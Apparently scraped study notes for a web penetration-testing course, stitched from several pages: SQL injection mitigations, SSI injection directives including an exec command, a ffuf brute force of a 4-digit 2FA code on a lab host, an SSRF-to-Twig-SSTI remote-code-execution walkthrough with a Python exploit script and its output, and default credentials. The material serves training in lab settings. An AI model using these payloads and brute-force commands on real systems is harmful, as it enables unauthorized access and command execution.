![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fpostgres_copy_write.png&width=768&dpr=3&quality=100&sign=734b8828&sv=2) As seen in the images above, input with injected queries was rejected by the server. * * * ### User Privileges[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#user-privileges) As discussed initially, DBMS software allows the creation of users with fine-grained permissions. We should ensure that the user querying the database only has minimum permissions. Superusers and users with administrative privileges should never be used with web applications. These accounts have access to functions and features, which could lead to server compromise. The commands above add a new MariaDB user named `reader` who is granted only `SELECT` privileges on the `ports` table. We can verify the permissions for this user by logging in: The snippet above confirms that the `reader` user cannot query other tables in the `ilfreight` database. The user only has access to the `ports` table that is needed by the application. * * * ### Web Application Firewall[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#web-application-firewall) Web Application Firewalls (WAF) are used to detect malicious input and reject any HTTP requests containing them. This helps in preventing SQL Injection even when the application logic is flawed. WAFs can be open-source (ModSecurity) or premium (Cloudflare). Most of them have default rules configured based on common web attacks. For example, any request containing the string `INFORMATION_SCHEMA` would be rejected, as it's commonly used while exploiting SQL injection. * * * ### Parameterized Queries[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#parameterized-queries) Another way to ensure that the input is safely sanitized is by using parameterized queries. Parameterized queries contain placeholders for the input data, which is then escaped and passed on by the drivers. Instead of directly passing the data into the SQL query, we use placeholders and then fill them with PHP functions. Consider the following modified code: Code: php The query is modified to contain two placeholders, marked with `?` where the username and password will be placed. We then bind the username and password to the query using the [mysqli\_stmt\_bind\_param()](https://www.php.net/manual/en/mysqli-stmt.bind-param.php) function. This will safely escape any quotes and place the values in the query. * * * ### Conclusion[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#conclusion) The list above is not exhaustive, and it could still be possible to exploit SQL injection based on the application logic. The code examples shown are based on PHP, but the logic applies across all common languages and libraries. [PreviousWriting Files](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/writing-files) [NextSkills Assessment - SQL Injection Fundamentals](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals) Last updated 1 year ago * [Input Sanitization](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#input-sanitization) * [Input Validation](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#input-validation) * [User Privileges](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#user-privileges) * [Web Application Firewall](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#web-application-firewall) * [Parameterized Queries](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#parameterized-queries) * [Conclusion](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#conclusion) Copy $username = mysqli_real_escape_string($conn, $_POST['username']); $password = mysqli_real_escape_string($conn, $_POST['password']); $query = "SELECT * FROM logins WHERE username='". $username. "' AND password = '" . $password . "';" ; echo "Executing query: " . $query . ""; Copy . Copy $pattern = "/^[A-Za-z\s]+$/"; $code = $_GET["port_code"]; if(!preg_match($pattern, $code)) { die(" Copy '; SELECT 1,2,3,4-- - Copy MariaDB [(none)]> CREATE USER 'reader'@'localhost'; Query OK, 0 rows affected (0.002 sec) MariaDB [(none)]> GRANT SELECT ON ilfreight.ports TO 'reader'@'localhost' IDENTIFIED BY 'p@ssw0Rd!!'; Query OK, 0 rows affected (0.000 sec) Copy hack3rSWE@htb[/htb]$ mysql -u reader -p MariaDB [(none)]> use ilfreight; MariaDB [ilfreight]> SHOW TABLES; +---------------------+ | Tables_in_ilfreight | +---------------------+ | ports | +---------------------+ 1 row in set (0.000 sec) MariaDB [ilfreight]> SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA; +--------------------+ | SCHEMA_NAME | +--------------------+ | information_schema | | ilfreight | +--------------------+ 2 rows in set (0.000 sec) MariaDB [ilfreight]> SELECT * FROM ilfreight.credentials; ERROR 1142 (42000): SELECT command denied to user 'reader'@'localhost' for table 'credentials' Copy $username = $_POST['username']; $password = $_POST['password']; $query = "SELECT * FROM logins WHERE username=? AND password = ?" ; $stmt = mysqli_prepare($conn, $query); mysqli_stmt_bind_param($stmt, 'ss', $username, $password); mysqli_stmt_execute($stmt); $result = mysqli_stmt_get_result($stmt); $row = mysqli_fetch_array($result); mysqli_stmt_close($stmt); --- # Introduction to SSI Injection | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/introduction-to-ssi-injection.md) . 1. Page 13 2. Introduction to SSI Injection Introduction to SSI Injection[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/introduction-to-ssi-injection#introduction-to-ssi-injection) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ * * * Server-Side Includes (SSI) is a technology web applications use to create dynamic content on HTML pages. SSI is supported by many popular web servers such as [Apache](https://httpd.apache.org/docs/current/howto/ssi.html) and [IIS](https://learn.microsoft.com/en-us/iis/configuration/system.webserver/serversideinclude) . The use of SSI can often be inferred from the file extension. Typical file extensions include `.shtml`, `.shtm`, and `.stm`. However, web servers can be configured to support SSI directives in arbitrary file extensions. As such, we cannot conclusively conclude whether SSI is used only from the file extension. * * * ### SSI Directives[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/introduction-to-ssi-injection#ssi-directives) SSI utilizes `directives` to add dynamically generated content to a static HTML page. These directives consist of the following components: * `name`: the directive's name * `parameter name`: one or more parameters * `value`: one or more parameter values An SSI directive has the following syntax: Code: ssi Copy <!--#name param1="value1" param2="value" --> For instance, the following are some common SSI directives. **printenv** This directive prints environment variables. It does not take any variables. Code: ssi **config** This directive changes the SSI configuration by specifying corresponding parameters. For instance, it can be used to change the error message using the `errmsg` parameter: Code: ssi **echo** This directive prints the value of any variable given in the `var` parameter. Multiple variables can be printed by specifying multiple `var` parameters. For instance, the following variables are supported: * `DOCUMENT_NAME`: the current file's name * `DOCUMENT_URI`: the current file's URI * `LAST_MODIFIED`: timestamp of the last modification of the current file * `DATE_LOCAL`: local server time Code: ssi **exec** This directive executes the command given in the `cmd` parameter: Code: ssi **include** This directive includes the file specified in the `virtual` parameter. It only allows for the inclusion of files in the web root directory. Code: ssi * * * ### SSI Injection[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/introduction-to-ssi-injection#ssi-injection) SSI injection occurs when an attacker can inject SSI directives into a file that is subsequently served by the web server, resulting in the execution of the injected SSI directives. This scenario can occur in a variety of circumstances. For instance, when the web application contains a vulnerable file upload vulnerability that enables an attacker to upload a file containing malicious SSI directives into the web root directory. Additionally, attackers might be able to inject SSI directives if a web application writes user input to a file in the web root directory. [PreviousSSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection) [NextExploiting SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/exploiting-ssi-injection) Last updated 10 months ago * [Introduction to SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/introduction-to-ssi-injection#introduction-to-ssi-injection) * [SSI Directives](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/introduction-to-ssi-injection#ssi-directives) * [SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/introduction-to-ssi-injection#ssi-injection) Copy <!--#printenv --> Copy <!--#config errmsg="Error!" --> Copy <!--#echo var="DOCUMENT_NAME" var="DATE_LOCAL" --> Copy <!--#exec cmd="whoami" --> Copy <!--#include virtual="index.html" --> --- # Brute-Forcing 2FA Codes | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-2fa-codes.md) . Brute-Forcing 2FA Codes[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-2fa-codes#brute-forcing-2fa-codes) -------------------------------------------------------------------------------------------------------------------------------------------------------------- * * * Two-factor authentication (2FA) provides an additional layer of security to protect user accounts from unauthorized access. Typically, this is achieved by combining knowledge-based authentication (password) with ownership-based authentication (the 2FA device). However, 2FA can also be achieved by combining any other two of the major three authentication categories we discussed previously. Therefore, 2FA makes it significantly more difficult for attackers to access an account even if they manage to obtain the user's credentials. By requiring users to provide a second form of authentication, such as a one-time code generated by an authenticator app or sent via SMS, 2FA mitigates the risk of unauthorized access. This extra layer of security significantly enhances the overall security posture of an account, reducing the likelihood of successful account breaches. * * * ### Attacking Two-Factor Authentication (2FA)[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-2fa-codes#attacking-two-factor-authentication-2fa) One of the most common 2FA implementations relies on the user's password and a time-based one-time password (TOTP) provided to the user's smartphone by an authenticator app or via SMS. These TOTPs typically consist only of digits, making them potentially guessable if the length is insufficient and the web application does not implement measures against successive submission of incorrect TOTPs. For our lab, we will assume that we obtained valid credentials in a prior phishing attack: `admin:admin`. However, the web application is secured with 2FA, as we can see after logging in with the obtained credentials: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fbf%2Fbf_2fa_1.png&width=768&dpr=3&quality=100&sign=5d6b92c5&sv=2) The message in the web application shows that the TOTP is a 4-digit code. Since there are only `10,000` possible variations, we can easily try all possible codes. To achieve this, let us first take a look at the corresponding request to prepare our parameters for `ffuf`: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fbf%2Fbf_2fa_2.png&width=768&dpr=3&quality=100&sign=ffdcb03a&sv=2) HTTP request and response. Request: POST to /2fa.php with OTP "0000". Response: "Invalid 2FA Code." As we can see, the TOTP is passed in the `otp` POST parameter. Furthermore, we need to specify our session token in the `PHPSESSID` cookie to associate the TOTP with our authenticated session. Just like in the previous section, we can generate a wordlist containing all 4-digit numbers from `0000` to `9999` like so: Brute-Forcing 2FA Codes Afterward, we can use the following command to brute-force the correct TOTP by filtering out responses containing the `Invalid 2FA Code` error message: Brute-Forcing 2FA Codes As we can see, we get many hits. That is because our session successfully passed the 2FA check after we had supplied the correct TOTP. Since `6513` was the first hit, we can assume this was the correct TOTP. Afterward, our session is marked as fully authenticated, so all requests using our session cookie are redirected to `/admin.php`. To access the protected page, we can simply access the endpoint `/admin.php` in the web browser and see that we successfully passed 2FA. Targe: 83.136.255.235:39075 Authenticate to 83.136.255.235:39075 with user "admin" and password "admin" #### Brute-force the admin user's 2FA code on the target system to obtain the flag.[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-2fa-codes#brute-force-the-admin-users-2fa-code-on-the-target-system-to-obtain-the-flag) So we can visit the target and login with the provided credentials. Then it iwll take you to this page ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252F4QoQ2QQL5eavwZnOja7r%252Fimage.png%3Falt%3Dmedia%26token%3Dac7f154b-7a09-462b-a812-d447f59b0521&width=768&dpr=3&quality=100&sign=5296f9a5&sv=2) I just submitted nothing for the code hence the error code. The capture in burp looked like this ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FItv7hd3rFp87rXIwEQ0A%252Fimage.png%3Falt%3Dmedia%26token%3D5d88e466-4f6f-4b99-a905-09cbee75ae51&width=768&dpr=3&quality=100&sign=4604f042&sv=2) So using the same tokens.txt from before, (generated by ) and the cookie phpsessID I was able to run Looks successful, as we get many hits, so Now we can visit the [http://83.136.255.235:39075/admin.php83.136.255.235](http://83.136.255.235:39075/admin.php) And get the flag ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FDzoquB3EOBxOCs7ER2In%252Fimage.png%3Falt%3Dmedia%26token%3D94339902-63a4-457c-bb8a-956994e8aea9&width=768&dpr=3&quality=100&sign=ec34ed1c&sv=2) A: HTB{9837b33a1ef678c380addf7ef8a517de} [PreviousBrute-Forcing Password Reset Tokens](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens) [NextWeak Brute-Force Protection](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/weak-brute-force-protection) Last updated 9 months ago * [Brute-Forcing 2FA Codes](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-2fa-codes#brute-forcing-2fa-codes) * [Attacking Two-Factor Authentication (2FA)](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-2fa-codes#attacking-two-factor-authentication-2fa) Copy Code4Christ@htb[/htb]$ seq -w 0 9999 > tokens.txt Copy Code4Christ@htb[/htb]$ ffuf -w ./tokens.txt -u http://bf_2fa.htb/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=fpfcm5b8dh1ibfa7idg0he7l93" -d "otp=FUZZ" -fr "Invalid 2FA Code" <SNIP> [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 648ms] * FUZZ: 6513 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 635ms] * FUZZ: 6514 <SNIP> [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1ms] * FUZZ: 9999 Copy ┌──(kali㉿kali)-[~] └─$ seq -w 0 9999 > tokens.txt Copy ┌──(kali㉿kali)-[~] └─$ ffuf -w ./tokens.txt -u http://83.136.255.235:39075/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=0frvkremdi2850re9kjgh49kgs" -d "otp=FUZZ" -fr "Invalid 2FA Code" /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : POST :: URL : http://83.136.255.235:39075/2fa.php :: Wordlist : FUZZ: /home/kali/tokens.txt :: Header : Content-Type: application/x-www-form-urlencoded :: Header : Cookie: PHPSESSID=0frvkremdi2850re9kjgh49kgs :: Data : otp=FUZZ :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Regexp: Invalid 2FA Code ________________________________________________ 4723 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 125ms] 4725 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 132ms] 4726 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 134ms] 4727 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 133ms] 4728 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 133ms] 4729 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 132ms] 4730 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 133ms] 4731 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 132ms] 4733 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 131ms] --- # Skills Assessment | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment.md) . I decided to go in logical order of the sections and start testing for SSRF, if we capture the first GET request with burp, we see that next comes a POST request to an API: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2F1*xhPhGJVxRp_f46fym_LN4g.png&width=768&dpr=3&quality=100&sign=fc152f3a&sv=2) I tried to set up a netcat listener to get a connection over port 8000, but repeater and my terminal would time out each time I tried. I also tried a few other ports. I most likely did something wrong, but my next step thankfully worked! I tried to call the application to itself by including _127.0.0.1/index.php_ as the IP to see if I got the html source code back. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2F1*NBeeFpevlzYgwttWMIdBWQ.png&width=768&dpr=3&quality=100&sign=c77c603f&sv=2) This worked which confirms that the supposed SSRF is not blind! My next step was to enumerate the API to find which ports or directories might be available. I did this via ffuf. First I made a ports.txt FFUF initial command with the port.txt Nothing meaningful on those two ports, so continued to look around at the request in burp You should be able to look at the post request and highlight the %3D part and see that it means '=' ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252Fg8TZrn0nXFtFq5rDUZ4r%252Fimage.png%3Falt%3Dmedia%26token%3D57ee8e39-4120-49f1-9cc9-b9ccce70455c&width=768&dpr=3&quality=100&sign=4eeeabe5&sv=2) So I decided to see if we can inject some SSTI payloads to confirm if a template was being used. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FVxotMkDJdooCjmT3J5BF%252Fimage.png%3Falt%3Dmedia%26token%3D8214998a-0ad3-4501-8340-8607b50d0be4&width=768&dpr=3&quality=100&sign=24abfb3d&sv=2) As we can see the test string does inject into the second element of the json object! We can keep following the chart and find that we have confirmed SSTI injection by outputting 49 with the next string down the line. Following the green lines we see that we are dealing with a Twig template. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252Fm8XqTfkeX0zrepIzPeJv%252Fimage.png%3Falt%3Dmedia%26token%3De0c6aa58-04c1-4a7c-a661-0b6930ba3f32&width=768&dpr=3&quality=100&sign=a8eb7870&sv=2) LFI did not work ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FCHvxLlLpAfEjwgRKpQao%252Fimage.png%3Falt%3Dmedia%26token%3D50227f2b-414b-443e-b35d-5ff3d2ea5673&width=768&dpr=3&quality=100&sign=b446772d&sv=2) But appears RCE is working ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FyUpy3y4z790h3PtLoO7S%252Fimage.png%3Falt%3Dmedia%26token%3D0477a2ea-e20d-4e6c-a290-1f388bd02187&width=768&dpr=3&quality=100&sign=9e40862c&sv=2) for some reason I kept getting an error when I used %20 for enumerating. All I had to do now was read out the flag…this was tricky since every time I tried to url-encode the space character (%20), it threw me a bad url error. After trying a few things, I realized that if only url encoding was present it might be possible to use other types of encoding for these characters, which lead me to trying to use the hexadecimal representation of a space…and that worked!! I was able to read out the flag and solve the assessment! Enumerated a couple of times to find the flag ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252F60E7s8XeWmtv0CBbiuRC%252Fimage.png%3Falt%3Dmedia%26token%3Dce28715e-6322-47de-8d94-d9d5a98cfcec&width=768&dpr=3&quality=100&sign=e3308d92&sv=2) Now I can cat the flag, and get the answer ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FOu65ngTRK9vXEdACvIv1%252Fimage.png%3Falt%3Dmedia%26token%3D05447aba-a994-4067-8618-802dac4a2ef7&width=768&dpr=3&quality=100&sign=4277a4f3&sv=2) ### Automated Exploit[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment#automated-exploit) Results Answer: HTB{3b8e2b940775e0267ce39d7c80488fc8} [PreviousPreventing XSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/preventing-xslt-injection) [NextRewalk](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment/rewalk) Last updated 10 months ago Copy $ seq 1 10000 > ports.txt Copy ┌─[us-academy-3]─[10.10.14.252]─[htb-ac-1067736@htb-iju5mnenvg]─[~] └──╼ [★]$ ffuf -w /home/htb-ac-1067736/ports.txt -u http://94.237.55.43:34620/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "api=http://127.0.0.1:FUZZ/?id%3DFusionExpress01" -fr "Failed to connect to" /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : POST :: URL : http://94.237.55.43:34620/index.php :: Wordlist : FUZZ: /home/htb-ac-1067736/ports.txt :: Header : Content-Type: application/x-www-form-urlencoded :: Data : api=http://127.0.0.1:FUZZ/?id%3DFusionExpress01 :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Regexp: Failed to connect to ________________________________________________ 80 [Status: 200, Size: 4194, Words: 278, Lines: 126, Duration: 4456ms] 3306 [Status: 200, Size: 45, Words: 7, Lines: 1, Duration: 151ms] :: Progress: [10000/10000] :: Job [1/1] :: 264 req/sec :: Duration: [0:00:41] :: Errors: 0 :: Copy """ --------------------------- Exploit SSRF+SSTI Vulnerability | HTB Skills Assesment --------------------------- 1. Obtain the flag. """ # Import Request to send web request to the internet import requests import sys from urllib.parse import quote_plus, quote # Module to display output in different colors. from colorama import Fore, Back, Style """ Disable the display of certificate warnings when requests are made to websites using insecure certificates. This can be useful in scenarios where targeted web applications use self-signed certificates as is the case in the AWAE labs. """ requests.packages.urllib3.\ disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) def main(): """ Main entry point: - validate CLI args - build request info - simulate (or actually perform) the request - format and print the response blocks """ # If the script is ran without specify the target # if len(sys.argv) != 2: # print(f"In CLI, Usage should be: {sys.argv[0]} target") # print(f"Example: {sys.argv[0]} 10.0.0.1") # print(f"Example: {sys.argv[0]} manageengine") # sys.exit(1) # Obtain target from CLI target = sys.argv[1].strip().rstrip('/') # from CLI202 #target = '94.237.57.211:43621' # hardcoded for testing # ============================ URL of TARGET ============================ # # send to index.php with `name` query parameter url = f"http://{target}/index.php" # ============================ Exploit SSTI ============================ # payload = "http://truckapi.htb/?id={{['cat+../../../../flag.txt']|filter('system')}}" # ============================ Params of Request ============================ # # exact XSL payload: <xsl:value-of select="php:function('system','cat ../../../flag.txt')" /> params = { 'api': payload, } # ============================ Initiate the Request to READ File Into a Table ============================ # try: # WARNING: verify=False disables TLS certificate verification. # use params= so the payload is put in the query string (GET /index.php?name=...) r = requests.post(url, data=params, verify=False, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") sys.exit(2) # ============================ FORMAT OUTPUT ============================ # print("\n======= Johnny Custom Exploit Development =======\n") print(format_text("REQUEST METHOD:", r.request.method)) print(format_text("REQUEST URL:", r.request.url)) print(format_text("REQUEST HEADERS | r.headers is: :", r.request.headers)) print(format_text("REQUEST BODY (raw):", r.request.body)) # shows form-encoded body print(format_text("RESPONSE STATUS | r.status_code is:", r.status_code)) print(format_text("RESPONSE COOKIES | r.cookies is:", r.cookies)) print(format_text("RESPONSE CONTENT-LENGTH:", len(r.text))) print(format_text("RESPONSE (first 300 chars):\n", r.text)) def format_text(title,item): """ Helper to create a nicely formatted console output block. - title: short label for the section (e.g. "r.status_code is:") - item: item to display (will be stringified) Returns a string that contains the title, a separator, the item, and a short marker. """ cr = '\r\n' section_break = cr + "*" * 20 + cr item = str(item) text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + item + section_break + '\t' return text if __name__ == "__main__": main() Copy // Some code (venv) $ python3 skills_assesment.py 94.237.55.43:53282 ======= Johnny Custom Exploit Development ======= REQUEST METHOD: ******************** POST ******************** REQUEST URL: ******************** http://94.237.55.43:53282/index.php ******************** REQUEST HEADERS | r.headers is: : ******************** {'User-Agent': 'python-requests/2.32.5', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'Content-Length': '125', 'Content-Type': 'application/x-www-form-urlencoded'} ******************** REQUEST BODY (raw): ******************** api=http%3A%2F%2Ftruckapi.htb%2F%3Fid%3D%7B%7B%5B%27cat%2B..%2F..%2F..%2F..%2Fflag.txt%27%5D%7Cfilter%28%27system%27%29%7D%7D ******************** RESPONSE STATUS | r.status_code is: ******************** 200 ******************** RESPONSE COOKIES | r.cookies is: ******************** <RequestsCookieJar[]> ******************** RESPONSE CONTENT-LENGTH: ******************** 83 ******************** RESPONSE (first 300 chars): ******************** {"id": "HTB{3b8e2b940775e0267ce39d7c80488fc8}Array", "location": "134 Main Street"} ******************** --- # Default Credentials | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/password-attacks/default-credentials.md) . * * * Many web applications are set up with default credentials to allow accessing it after installation. However, these credentials need to be changed after the initial setup of the web application; otherwise, they provide an easy way for attackers to obtain authenticated access. As such, [Testing for Default Credentials](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/02-Testing_for_Default_Credentials) is an essential part of authentication testing in OWASP's Web Application Security Testing Guide. According to OWASP, common default credentials include `admin` and `password`. * * * ### Testing Default Credentials[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/password-attacks/default-credentials#testing-default-credentials) Many platforms provide lists of default credentials for a wide variety of web applications. Such an example is the web database maintained by [CIRT.net](https://www.cirt.net/passwords) . For instance, if we identified a Cisco device during a penetration test, we can search the database for default credentials for Cisco devices: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fpw%2Fdefault_creds_1.png&width=768&dpr=3&quality=100&sign=e04d71d3&sv=2) Further resources include [SecLists Default Credentials](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Default-Credentials) as well as the [SCADA](https://github.com/scadastrangelove/SCADAPASS/tree/master) GitHub repository which contains a list of default passwords for a variety of different vendors. A targeted internet search is a different way of obtaining default credentials for a web application. Let us assume we stumble across a [BookStack](https://github.com/BookStackApp/BookStack) web application during an engagement: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fpw%2Fdefault_creds_2.png&width=768&dpr=3&quality=100&sign=4e0c031c&sv=2) We can try to search for default credentials by searching something like `bookstack default credentials`: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fpw%2Fdefault_creds_3.png&width=768&dpr=3&quality=100&sign=5b1f79dd&sv=2) As we can see, the results contain the installation instructions for BookStack, which state that the default admin credentials are `admin@admin.com:password`. [PreviousPassword Attacks](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/password-attacks) [NextVulnerable Password Reset](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/password-attacks/vulnerable-password-reset) Last updated 9 months ago 